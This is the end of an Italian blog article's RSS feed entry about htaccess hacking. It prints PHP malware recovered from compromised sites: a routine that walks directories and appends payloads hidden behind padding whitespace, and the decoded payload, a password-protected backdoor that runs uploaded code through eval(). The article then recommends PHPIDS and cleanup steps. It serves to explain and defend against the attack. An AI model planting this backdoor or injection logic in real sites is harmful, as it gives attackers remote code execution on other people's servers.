    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
            <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fn'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            say<span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> 
&nbsp;
walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$R</span>/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
 ?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>la porzione encodata alla riga 97 una volta decodificata appare così:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;aace99428c50dbe965acc93f3f275cd3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'f'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>Per proteggervi da tale hacking vi invito ad utilizzare script di Sicurezza quali <a href="http://php-ids.org/"><strong>PHPIDS</strong></a> di cui potete trovare una recensione a questo <a href="http://www.bleakants.com/2008/10/phpids-intrusion-detection-system/"><strong>link</strong></a>.</p>
<p>Per pulire i vostri file in seguito ad un eventuale attacco fate riferimento alla procedura indicata nella <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>prima parte</strong></a> di questo articolo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.capn3m0.org @ 2012-02-08 05:47:03 by W3 Total Cache -->
